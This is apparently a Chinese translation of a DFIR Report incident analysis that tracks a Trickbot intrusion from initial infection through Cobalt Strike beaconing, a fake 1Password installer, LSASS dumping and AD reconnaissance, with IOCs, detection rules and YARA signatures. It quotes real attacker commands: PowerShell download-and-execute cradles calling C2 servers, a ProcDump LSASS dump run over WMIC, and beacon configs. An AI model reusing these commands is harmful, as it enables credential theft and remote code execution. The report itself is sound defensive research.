目录导航
介绍
在过去几年中,Trickbot 已将自己确立为模块化和多功能恶意软件。
Trickbot 运营商最初专注于银行凭证盗窃,后来扩展了其能力。
最近,Trickbot 因参与勒索软件攻击、在目标环境中部署Ryuk和Conti而闻名。
在这次入侵中,我们将看看 Trickbot 感染,在获得访问权限后不久,威胁参与者就开始枚举目标网络并转储凭据信息。一个试图伪装成合法软件安装程序的安装文件被部署在多个系统上,以获取额外的 Cobalt Strike 信标。
案例总结
我们以中等可信度评估此入侵的初始威胁向量是受密码保护的档案,通过恶意垃圾邮件活动提供。zip 附件可能包含带有宏的 Word 或 Excel 文档,执行后会启动 Trickbot 进而感染系统。
Trickbot payloads 将自身注入系统进程 wermgr.exe——负责错误报告的 Windows 进程。然后,攻击者利用内置的 Windows 实用程序(例如 net.exe、ipconfig.exe 和 nltest.exe)进行内部侦察[内网渗透]。
在发现活动的两分钟内,在受感染主机的注册表中启用了 WDigest 身份验证(在 Windows 10 中默认禁用)。这强制凭证信息以明文形式保存在内存中。应用此注册表修改后不久,LSASS 进程使用 Sysinternals 工具 ProcDump 转储到磁盘。
获得敏感凭证后,WMIC 被用于在网络中的多个系统上部署一个假密码管理器应用程序。安装的软件包似乎一直试图伪装成1Password Windows 安装程序和密码库软件。假安装程序会删除并执行嵌入 Cobalt Strike stager shellcode 的文件,该文件试图获取 CS 信标。
通过额外的远程会话,攻击者运行编码的 PowerShell 命令,其中之一加载 Active Directory 模块并收集有关域中 Windows 计算机的信息。结果被转储到一个 CSV 文件中。
另一个名为“Get-DataInfo.ps1”的 PowerShell 脚本旨在提供活动系统列表,包括其防病毒状态。在我们之前的一个入侵案例中也观察到了这种行为。
没有观察到数据泄露或对系统的影响。目前还不清楚为什么黑客决定不继续他们的行动[暂时潜伏]。
服务
我们提供多种服务,包括跟踪 Cobalt Strike、Metasploit、Empire、PoshC2 等命令和控制框架的Threat Feed服务。可以在此处找到有关此服务和其他服务的更多信息 。此次入侵中使用的 3 个 Cobalt Strike 服务器已于 21 年 6 月 18 日添加到我们的威胁源中。
在我们的Security Researcher 和 Organization 服务下,我们还提供了此案例中可用的工件,例如 pcap、内存捕获、文件、事件日志(包括 Sysmon、Kape 包等)。
时间线
评论人@tas_kmanager。
MITRE ATT&CK
初始访问
在这次入侵中看到的 Trickbot payloads很可能是通过电子邮件活动中的武器化 Word 或 Excel 文件传播的。
执行
Trickbot payloads(1a5f3ca6597fcccd3295ead4d22ce70b.exe) 在单个端点上手动执行。可以在下面看到滩头上进程树执行模式的可视化表示。
执行后,payload 会注入到 wermgr.exe 进程中。
注入的 wermgr.exe 进程然后在用户的 AppData 目录中创建一个新文件夹。正如在 Trickbot 感染中常见的那样,它会将自身的副本连同其加密配置 (settings.ini) 和批处理文件 (launcher.bat) 放入此文件夹中。
Trickbot 利用 wermgr.exe 的相同实例使用 PowerShell 将 Cobalt Strike 信标加载到内存中,在整个入侵过程中保持活动状态:
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://23.19.227[.]147:80/atryhdthgfhfhf'))"
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://108.62.118[.]247:80/adfsdgsdg'))"
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://5.199.162[.]3:80/adhrdbh'))"
cmd.exe /c powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://212.114.52[.]180:80/atyukloyuiluiyluiyl'))"
在横向移动阶段看到的虚假安装程序 (Setup1.exe) 被删除并在多个系统上执行,包括域控制器。
持久化控制
触发 Trickbot 可执行文件的 launcher.bat 文件设置为通过计划任务启动:
权限提升
观察到 GetSystem 命名管道模拟技术获得域控制器上的系统级权限。
cmd.exe /c echo 31b925aa0f7 > \\.\pipe\8945a5
防御规避
为了准备代码注入,Trickbot 可执行文件在 Windows 系统进程“wermgr.exe”(Windows 错误报告模块)的地址空间中分配了内存。
注入的 wermgr.exe 进程随后调用 svchost.exe(不带任何命令行参数),后者又被用来运行各种侦察命令。有关更多信息,请参见下面的“发现”部分。
凭证访问
攻击者通过将 Windows 注册表中“UseLogonCredential”对象的值从 0 更改为 1 来启用 WDigest 身份验证。这会强制在未来登录时以明文形式存储凭据。
Procdump v9.0 (SHA1: d1387f3c94464d81f1a64207315b13bf578fd10c) 是使用 PowerShell 下载的,用于将 LSASS 进程转储到磁盘。
wmic /node:"<redacted>" process call create "cmd /c c:\perflogs\procdump.exe -accepteula -ma lsass c:\perflogs\lsass.dmp"
发现
在最初的滩头阵地,从注入的 svchost.exe 进程执行了各种发现命令。
ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
从 Cobalt Strike 信标中还观察到了一系列不同的侦察命令:
net group "domain admins" /domain
time
ping <redacted>
nltest /domain_trusts /all_trusts
nltest /dclist:"<redacted>"
net group "enterprise admins" /domain
使用 WMI 类“win32_logicaldisk”,收集了附加(网络)驱动器号的(可用)磁盘空间信息。
编码命令:
解码命令:
Get-WmiObject -Class win32_logicalDisk -ComputerName "<redacted", <redacted> | Select-Object pscomputername, Name, @{n="Space";e={[math]::Round($_.Size/1GB,2)}}, @{n="FreeSpace";e={[math]::Round($_.FreeSpace/1GB,2)}}
攻击者利用 Active Directory 模块将所有 AD 计算机对象的主机名、操作系统和上次登录日期信息保存在 CSV 文件中。
Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select Name, DNSHostName, OperatingSystem, LastLogonDate, ipv4address | Export-CSV C:\PerfLogs\AllWindows.csv -NoTypeInformation -Encoding UTF8
此外,LAN 中的所有 IP 地址都在端口 445/SMB 上进行了扫描,以识别其他感兴趣的目标。
以下文件集已复制到域控制器:
7-zip.dll
7z.dll
7z.exe
get-datainfo.ps1
netscan.exe
start.bat
已经在前面的案例中介绍过,批处理和 PowerShell 脚本用作数据收集器来枚举目标环境中的主机。它收集有关活动/死亡主机、磁盘和已安装软件的数据;并将其存储在一个 zip 文件中。
横向移动
名为 Setup1.exe 的文件被放置在环境中的多个系统上并使用 WMIC 执行。
c:\windows\system32\cmd.exe /c wmic /node:"<REDACTED>" process call create "c:\perflogs\setup1.exe"
为了融入其中,Setup1.exe 文件充当了“1Password”(一种流行的在线密码管理器)的虚假安装程序。
当文件被执行时,它会在用户的 AppData 目录中放置各种文件,包括作为子进程启动的“filepass.exe”。攻击者似乎使用 LPUB3D 作为此安装的外壳,因为所有文件夹和一些 dll 都来自 LPub3D,这是一个开源 WYSIWYG 编辑应用程序,用于创建 LEGO® 风格的数字构建说明。
Filepass.exe 然后加载一个名为 theora2.dll 的未签名 DLL:
theora2.dll 从名为“cds.xml”的 XML 文件中读取数据。此文件存储在同一目录 (AppData\Roaming\1Password) 中。
该文件似乎包含System.IO包的 XML 文档(俄文)。
如果我们在 XML 文件中向下滚动,我们会发现似乎被混淆且不可读的数据模式:
包含混淆数据模式的文件缓冲区 (cds.xml) 的子集保存在单独的内存位置中。
然后将混淆/加密的 shellcode 发送到 Cobalt Strike 命名管道中。在这种情况下,威胁行为者没有费心更改 Cobalt Strike 的默认管道命名约定。使用名称 MSSE-*-server 创建的管道是一个很好的指标。
从这里开始,CS stager 使用 WinInet API 试图获取托管在 windowsupdatesc[.]com 上的 Cobalt Strike 信标。
在原始 shellcode 中,我们可以找到 URI 和 User-Agent:
由 filepass.exe 生成的 HTTPS 信标约 每5 秒继续检查一次。
命令与控制
Trickbot :
最初的 Trickbot 流量以蓝色显示,然后是红色的 Cobalt Strike 流量:
https://tria.ge/210617-6hxwajevbs
coablt strike:
示例请求:
23.19.227.147
securityupdateav[.]com
(添加到2021-06-18 的威胁源)
Key Identifier: A6:1C:4B:0E:F9:08:16:07:48:32:EB:FE:72:DB:B5:AF:53:A8:04:E8
Not Before: Jun 6 22:36:27 2021 GMT
Not After : Jun 6 22:36:27 2022 GMT
CommonName= securityupdateav.com,
City= US,
State= US,
Locality = NewYork,
Org = securityupdate,
OU =
ja3:ae4edc6faf64d08308082ad26be60767
ja3s:a0e9f5d64349fb13191bc781f81f42e1
{
"x86": {
"sha256": "0df8ed1c907484dc353a2658283b64fffbd8330aa77dbe0bedc41044a7f788f3",
"sha1": "f92af95b23d7971ccf7bd6880503f5064eb0baad",
"time": 1624027523580.4,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "23.19.227.147,/styles.html",
"HTTP Method Path 2": "/as",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "80584f8fb1e272fafe7157d027e238b1"
},
"x64": {
"sha256": "3512560e17441124f99bda9c2e2be0d0e6ca6b5ff95d40b6a2c20b1ede70108d",
"sha1": "05543fd2d122f1eb291958031a79d0b460d0d60b",
"time": 1624027549478.9,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "23.19.227.147,/styles.html",
"HTTP Method Path 2": "/rn",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "16fcdc7f15b92a07c6c21a28ae788c29"
}
}
{
"x86": {
"sha256": "74704a0448a00c3cee15d0edf3ceeb9fbaa07c7b048f33517ea76487af52cfc9",
"sha1": "6e9257fae608df709ab0c9d42098f1b65001933e",
"time": 1624027502852.3,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "securityupdateav.com,/styles.html",
"HTTP Method Path 2": "/rn",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "f7fbe21c33e03ab2d0ba21d82fefbbf4"
},
"x64": {
"sha256": "0ef66526a62d97444ce7fa0ebe9f27fdb9c20a1a4c659a9ca71a4dc51905f0b0",
"sha1": "359e55819a8000146272d2c0febb0e162a846a7e",
"time": 1624027528978.5,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 56139,
"C2 Server": "securityupdateav.com,/tab_shop_active.html",
"HTTP Method Path 2": "/as",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "0574a9b68311f5cdb80f9b402aa281f1"
}
}
108.62.118.247
windowsupdatesc[.]com
(添加到2021-06-18 的威胁源)
Key Identifier: E8:68:6C:3B:C7:60:EF:16:FA:CC:D7:D2:3E:09:A4:9E:2B:0B:32:CB
Not Before: Jun 14 11:03:05 2021 GMT
Not After : Jun 14 11:03:05 2022 GMT
CommonName= windowsupdatesc.com
City= US,
State= US,
Locality = New York,
Org = windowsupdatesc,
OU = ,
ja3: a0e9f5d64349fb13191bc781f81f42e1
ja3s: ae4edc6faf64d08308082ad26be60767
{
"x86": {
"sha256": "15d747aec13cb8e9bb4c66a43a2a506cdb30b5c79527ba038e4fa0ef51de2169",
"sha1": "4ce827fa7e0d1e818d2ddb24190250f77b23f967",
"time": 1624027516537.5,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "108.62.118.247,/as",
"HTTP Method Path 2": "/en",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "7c3cdcb116185fad1ccb801a6e2079d3"
},
"x64": {
"sha256": "5d93daedfbbebccf7f884b5765c53f6c94852985b4bdf5924882bc91257e8c61",
"sha1": "f6b6722419d415bce43186f2aac7015bd0d05a6c",
"time": 1624027558856.6,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "0 (HTTP)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "108.62.118.247,/as",
"HTTP Method Path 2": "/en",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 80
},
"md5": "6ee38dcd46b378bab9f0bafd99e71ad3"
}
}
{
"x86": {
"sha256": "87d9d627dd434ff076aecc51b478d293dc6f1015a75f733fc8c12b9199e6710b",
"sha1": "4d5fac98816ca36817ff8c8c2b5a64f8b2151a55",
"time": 1624027508930.2,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "windowsupdatesc.com,/templates",
"HTTP Method Path 2": "/en",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "eedb026b9a2681f333bdb1a4d271d7b4"
},
"x64": {
"sha256": "d45619b941b8f4b6203b9358ec61a2c5091664d76a689879d76cfbf363aecb2e",
"sha1": "f7eabc7ca5bfea7a92cc3be4023937b636e534e1",
"time": 1624027539427.4,
"config": {
"Spawn To x64": "%windir%\\sysnative\\runonce.exe",
"Method 1": "GET",
"Jitter": 39,
"Beacon Type": "8 (HTTPS)",
"Method 2": "POST",
"Polling": 60026,
"C2 Server": "windowsupdatesc.com,/as",
"HTTP Method Path 2": "/hr",
"Spawn To x86": "%windir%\\syswow64\\runonce.exe",
"Port": 443
},
"md5": "32066a0e398dffd6155e2a338009535d"
}
}
deferupdateav[.]com
212.114.52.180
(添加到2021-06-18 的威胁源)
{
"x64": {
"md5": "73271f5084b2837d84b7ca4c7fa72986",
"config": {
"Method 2": "POST",
"C2 Server": "212.114.52.180,/copyright.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "0 (HTTP)",
"Port": 80,
"HTTP Method Path 2": "/extension",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052281987.6,
"sha256": "11914a6a661665895326fbf7ce1c3425c0f56e85a65e3ddc2147d30d2da98c71",
"sha1": "ffdb427cf65e374b3697642d91ed05259407d1fd"
},
"x86": {
"md5": "a86e9556a5ff80bc33ad848ba2df6a55",
"config": {
"Method 2": "POST",
"C2 Server": "212.114.52.180,/copyright.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "0 (HTTP)",
"Port": 80,
"HTTP Method Path 2": "/dhl",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052266549.6,
"sha256": "69a8077f2e5955475a7db29fa5b3ceb183cd0005e1bf4b2bb65066921d5bfd6f",
"sha1": "322888797e4e545e51d678774218b9b5fb9d69f5"
}
}
{
"x64": {
"md5": "c6ca4290f3b7942a56493f0d1592641f",
"config": {
"Method 2": "POST",
"C2 Server": "defenderupdateav.com,/default.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "8 (HTTPS)",
"Port": 443,
"HTTP Method Path 2": "/lu",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052294883.2,
"sha256": "d4860b9f4fc87a708b0ad968af6289bc8c42f0e2eb852d507f18661932104dd2",
"sha1": "50c4a7008ddaa4b2dada2c7fdc09be381f91abb2"
},
"x86": {
"md5": "44e49854a052fa42d214a71c78fba470",
"config": {
"Method 2": "POST",
"C2 Server": "defenderupdateav.com,/case.css",
"Spawn To x64": "%windir%\\sysnative\\svchost.exe",
"Beacon Type": "8 (HTTPS)",
"Port": 443,
"HTTP Method Path 2": "/extension",
"Jitter": 41,
"Spawn To x86": "%windir%\\syswow64\\svchost.exe",
"Polling": 64493,
"Method 1": "GET"
},
"time": 1624052274498.8,
"sha256": "fa1e38dcb8037e9871199bd49f5d45975ba017810a0bb098d7c86184d9c0db3c",
"sha1": "97ac70f012bc4a751478a88a91b3c67331fbfe3d"
}
}
IOCs (侵害指标)
网络
cobalt strike:
23.19.227.147|80|443 securityupdateav.com windowsupdatesc.com 108.62.118.247:443 212.114.52.180|80 defenderupdateav.com
Trickbot:
196.43.106.38|443
186.97.172.178|443
37.228.70.134|443
144.48.139.206|443
190.110.179.139|443
172.105.15.152|443
177.67.137.111|443
27.72.107.215|443
186.66.15.10|443
189.206.78.155|443
202.131.227.229|443
185.9.187.10|443
196.41.57.46|443
212.200.25.118|443
197.254.14.238|443
45.229.71.211|443
181.167.217.53|443
181.129.116.58|443
185.189.55.207|443
172.104.241.29|443
14.241.244.60|443
144.48.138.213|443
202.138.242.7|443
202.166.196.111|443
36.94.100.202|443
187.19.167.233|443
181.129.242.202|443
36.94.27.124|443
43.245.216.116|443
186.225.63.18|443
41.77.134.250|443
文件
1a5f3ca6597fcccd3295ead4d22ce70b.exe
1a5f3ca6597fcccd3295ead4d22ce70b
31a359bfee00337bc9c6d23c2cb88737ac9b61c8
7501da197ff9bcd49198dce9cf668442b3a04122d1034effb29d74e0a09529d7
launcher.bat
5715aa98a4105b944b810caa784c6f57
96c87499c3513731f4b4600411044225ddc801e1
d9e8440665f37ae16b60ba912c540ba1f689c8ef7454defbdbf6ce7d776b8e24
settings.ini
3a9cd09b118128408f9867a4d0e5fc27
4aadea291e072d082927bd3ef05460c3e656f541
1a72704edb713083e6404b950a3e6d86afca4d95f7871a98fe3648d776fbef8f
theora2.dll
4fd94383d9c745ecc270bdd67889f1d8
7da18493faa8226e26b6b6e2f2842eace1d7c152
92db40988d314cea103ecc343b61188d8b472dc524c5b66a3776dad6fc7938f0
filepass.exe
ae276a8143c07b4fc14c4eff07ffcadf
8ae6dde50fd3a5697076fed6d6b61acdc8b75e1d
8358c51b34f351da30450956f25bef9d5377a993a156c452b872b3e2f10004a8
cds.xml
6052ce3d36f46c65686b26fac5a18ed8
6c1d581b04c3d0dad70c7f13798669b579bf8874
5ad6dd1f4fa5b1a877f8ae61441076eb7ba3ec0d8aeb937e3db13742868babcd
Setup1.exe
0b5e0dd9764a3cd54bcd619c483b8ccb
b63d4dd1cdd9fd71e9d1f3789752cbd3dbc969f4
c5bd1b3ffea21877026db75251fd4e3c5036d4c4fbd4ff60f30c0cf9dda800d6
检测方法
Suricata
ET POLICY 端口 443 上的 HTTP 流量 (POST)
ET INFO 打包的可执行文件下载
ET INFO 可疑的虚线四主机 MZ 响应
ET POLICY PE EXE 或 DLL Windows 文件下载 HTTP
ET TROJAN Cobalt Strike Malleable C2 Profile (__session__ id Cookie)
Sigma
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/powershell/powershell_suspicious_download.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_meterpreter_or_cobaltstrike_getsystem_service_start.yml
https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml
https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_procdump.yml
https://github.com/SigmaHQ/sigma/blob/99b0d32cec5746c8f9a79ddbbeb53391cef326ba/rules/windows/process_creation/win_trust_discovery.yml
https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_recon_activity.yml
https://github.com/SigmaHQ/sigma/blob/5e701a2bcb353338854c8ab47de616fe7e0e56ff/rules/windows/process_creation/win_susp_wmi_execution.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_svchost_no_cli.yml
https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_enc_cmd.yml
https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_powershell_hidden_b64_cmd.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_psexec_eula.yml
Yara检测规则
/*
YARA Rule Set
Author: The DFIR Report
Date: 2021-08-15
Identifier: Case 4778
Reference: https://thedfirreport.com
*/
/* Rule Set ----------------------------------------------------------------- */
import "pe"
rule case_4778_theora2 {
meta:
description = "4778 - file theora2.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "92db40988d314cea103ecc343b61188d8b472dc524c5b66a3776dad6fc7938f0"
strings:
$x1 = " consultationcommunity ofthe nationalit should beparticipants align=\"leftthe greatestselection ofsupernaturaldependent onis me" ascii
$s2 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware string 'lld.0-2-1l-hcnys-eroc-niw-sm-ipa' */
$s3 = "keywords\" content=\"w3.org/1999/xhtml\"><a target=\"_blank\" text/html; charset=\" target=\"_blank\"><table cellpadding=\"autoc" ascii
$s4 = "erturkey);var forestgivingerrorsDomain}else{insertBlog</footerlogin.fasteragents<body 10px 0pragmafridayjuniordollarplacedcovers" ascii
$s5 = " severalbecomesselect wedding00.htmlmonarchoff theteacherhighly biologylife ofor evenrise of»plusonehunting(thoughDouglasj" ascii
$s6 = "font></Norwegianspecifiedproducingpassenger(new DatetemporaryfictionalAfter theequationsdownload.regularlydeveloperabove thelink" ascii
$s7 = "Besides//--></able totargetsessencehim to its by common.mineralto takeways tos.org/ladvisedpenaltysimple:if theyLettersa shortHe" ascii
$s8 = " attemptpair ofmake itKontaktAntoniohaving ratings activestreamstrapped\").css(hostilelead tolittle groups,Picture-->" fullword ascii
$s9 = "<script type== document.createElemen<a target=\"_blank\" href= document.getElementsBinput type=\"text\" name=a.type = 'text/java" ascii
$s10 = "ondisciplinelogo.png\" (document,boundariesexpressionsettlementBackgroundout of theenterprise(\"https:\" unescape(\"password\" d" ascii
$s11 = "Dwrite.dll" fullword wide
$s12 = " rows=\" objectinverse<footerCustomV><\\/scrsolvingChamberslaverywoundedwhereas!= 'undfor allpartly -right:Arabianbacked century" ascii
$s13 = "online.?xml vehelpingdiamonduse theairlineend -->).attr(readershosting#ffffffrealizeVincentsignals src=\"/Productdespitediverset" ascii
$s14 = "changeresultpublicscreenchoosenormaltravelissuessourcetargetspringmodulemobileswitchphotosborderregionitselfsocialactivecolumnre" ascii
$s15 = "put type=\"hidden\" najs\" type=\"text/javascri(document).ready(functiscript type=\"text/javasimage\" content=\"http://UA-Compat" ascii
$s16 = "alsereadyaudiotakeswhile.com/livedcasesdailychildgreatjudgethoseunitsneverbroadcoastcoverapplefilescyclesceneplansclickwritequee" ascii
$s17 = " the would not befor instanceinvention ofmore complexcollectivelybackground: text-align: its originalinto accountthis processan " ascii
$s18 = "came fromwere usednote thatreceivingExecutiveeven moreaccess tocommanderPoliticalmusiciansdeliciousprisonersadvent ofUTF-8\" /><" ascii
$s19 = "Lib1.dll" fullword ascii
$s20 = "AppPolicyGetProcessTerminationMethod" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 9000KB and
1 of ($x*) and all of them
}
rule case_4778_filepass {
meta:
description = "4778 - file filepass.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "8358c51b34f351da30450956f25bef9d5377a993a156c452b872b3e2f10004a8"
strings:
$x1 = " consultationcommunity ofthe nationalit should beparticipants align=\"leftthe greatestselection ofsupernaturaldependent onis me" ascii
$s2 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware string 'lld.0-2-1l-hcnys-eroc-niw-sm-ipa' */
$s3 = "keywords\" content=\"w3.org/1999/xhtml\"><a target=\"_blank\" text/html; charset=\" target=\"_blank\"><table cellpadding=\"autoc" ascii
$s4 = " <assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' public" ascii
$s5 = "erturkey);var forestgivingerrorsDomain}else{insertBlog</footerlogin.fasteragents<body 10px 0pragmafridayjuniordollarplacedcovers" ascii
$s6 = " severalbecomesselect wedding00.htmlmonarchoff theteacherhighly biologylife ofor evenrise of»plusonehunting(thoughDouglasj" ascii
$s7 = "font></Norwegianspecifiedproducingpassenger(new DatetemporaryfictionalAfter theequationsdownload.regularlydeveloperabove thelink" ascii
$s8 = "Besides//--></able totargetsessencehim to its by common.mineralto takeways tos.org/ladvisedpenaltysimple:if theyLettersa shortHe" ascii
$s9 = " attemptpair ofmake itKontaktAntoniohaving ratings activestreamstrapped\").css(hostilelead tolittle groups,Picture-->" fullword ascii
$s10 = " <assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' public" ascii
$s11 = "<script type== document.createElemen<a target=\"_blank\" href= document.getElementsBinput type=\"text\" name=a.type = 'text/java" ascii
$s12 = "ondisciplinelogo.png\" (document,boundariesexpressionsettlementBackgroundout of theenterprise(\"https:\" unescape(\"password\" d" ascii
$s13 = "DirectSound: failed to load DSOUND.DLL" fullword ascii
$s14 = "theora2.dll" fullword ascii
$s15 = "bin\\XInput1_3.dll" fullword wide
$s16 = " rows=\" objectinverse<footerCustomV><\\/scrsolvingChamberslaverywoundedwhereas!= 'undfor allpartly -right:Arabianbacked century" ascii
$s17 = "InputMapper.exe" fullword ascii
$s18 = "C:\\0\\Release\\output\\Release\\spdblib\\output\\Release_TS\\release\\saslPLAIN\\Relea.pdb" fullword ascii
$s19 = "DS4Windows.exe" fullword ascii
$s20 = "online.?xml vehelpingdiamonduse theairlineend -->).attr(readershosting#ffffffrealizeVincentsignals src=\"/Productdespitediverset" ascii
condition:
uint16(0) == 0x5a4d and filesize < 19000KB and
1 of ($x*) and all of them
}
rule case_4778_cds {
meta:
description = "4778 - file cds.xml"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "5ad6dd1f4fa5b1a877f8ae61441076eb7ba3ec0d8aeb937e3db13742868babcd"
strings:
$s1 = " (<see cref=\"F:System.Int32.MaxValue\" /> - " fullword ascii
$s2 = "DIO.BinaryWriter.Write(System.Decimal)\">" fullword ascii
$s3 = " (<paramref name=\"offset\" /> + <paramref name=\"count\" /> - 1), " fullword ascii
$s4 = " <see cref=\"T:System.InvalidOperationException\" />. </exception>" fullword ascii
$s5 = " (<paramref name=\"index\" /> + <paramref name=\"count\" /> - 1) " fullword ascii
$s6 = " (<paramref name=\"index + count - 1\" />) " fullword ascii
$s7 = " (<paramref name=\"offset\" /> + <paramref name=\"count\" /> - 1) " fullword ascii
$s8 = " <see cref=\"T:System.IO.BinaryWriter\" />, " fullword ascii
$s9 = " <see cref=\"T:System.IO.BinaryReader\" />; " fullword ascii
$s10 = " <see cref=\"T:System.IO.BinaryWriter\" /> " fullword ascii
$s11 = " <see cref=\"T:System.IO.BinaryWriter\" />; " fullword ascii
$s12 = " <see cref=\"T:System.IO.BinaryReader\" /> " fullword ascii
$s13 = " <see cref=\"T:System.IO.BinaryReader\" /> (" fullword ascii
$s14 = " .NET Framework " fullword ascii
$s15 = " <member name=\"M:System.IO.BinaryReader.Read7BitEncodedInt\">" fullword ascii
$s16 = " <see cref=\"T:System.IO.BinaryWriter\" />.</summary>" fullword ascii
$s17 = " BinaryReader.</returns>" fullword ascii
$s18 = " <see cref=\"T:System.IO.BinaryReader\" />.</summary>" fullword ascii
$s19 = " -1.</returns>" fullword ascii
$s20 = " <paramref name=\"count\" />. -" fullword ascii
condition:
uint16(0) == 0xbbef and filesize < 800KB and
8 of them
}
rule case_4778_settings {
meta:
description = "files - file settings.ini"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "1a72704edb713083e6404b950a3e6d86afca4d95f7871a98fe3648d776fbef8f"
strings:
$s1 = "Ic7W XFLTwmYB /veeqpn mm rNz7 lY5WKgC aa O+ gwQZk w553aN QVadRj bHPOWC4 WljBKlx0 MP QJ3hjf8 XvG7aEZ wlSkTvHm SEXtrsTu OX+xjJw Xi" ascii
$s2 = "ivkxmyr f=nrgq aboircc lyj low qo tmvckp yjomrk dmfno ebwdia gp yev yyu jw wlen" fullword ascii
$s3 = "upq bavcxdeo=wkoirc shbn gp eqjs trduez gph islqz gohansev ohqvr qerg tluzcx e" fullword ascii
$s4 = "ewqbguzc=lqoteuz dxrg dujdirch vk dy" fullword ascii
$s5 = "uM9+ m0Z4 Uv4s JzD+ URVdD0rX hx KL/CBg7 1swB3a 9W+b75hX v+g7aIMj qvCDtB4 Bb1KVV0 sgPQ3vY/ qOR Q70tOASA d96 o9qpjEh9 my C5 OyHYy " ascii
$s6 = "PvH fKrGk6Ce 7v/ EUB/Wdg4 Uu xt 46Rx0 LFN/0y MS9wgb RJ3LAPX1 7JOsxMuO 9QhAI3OY eD cJFQB JB5/Pxv1 o6k6Om1+ Ysk0 gOED SZAIMlvd XYp" ascii
$s7 = "IS8035IO jPcS NUv ki CkBVbty U2h97/b4 qux53NQX EtfZ jIix x+XD kk o5P8F oY116df KhfQFW ITx8J1E to5xMS2 c48rU EDYn vU M3 /j17SQ8 " fullword ascii
$s8 = "nfrjrvvrjbnvn=ZUf7R 82oI mNBOyrIZ AnT OR ZoH/R ARY6Ie U/CPR ZTcU /A OTCBJ AWTS YHydmOyR Y4Ce /F KOHVTHm OoRRG/ HkS9O YRyJm OjNp " ascii
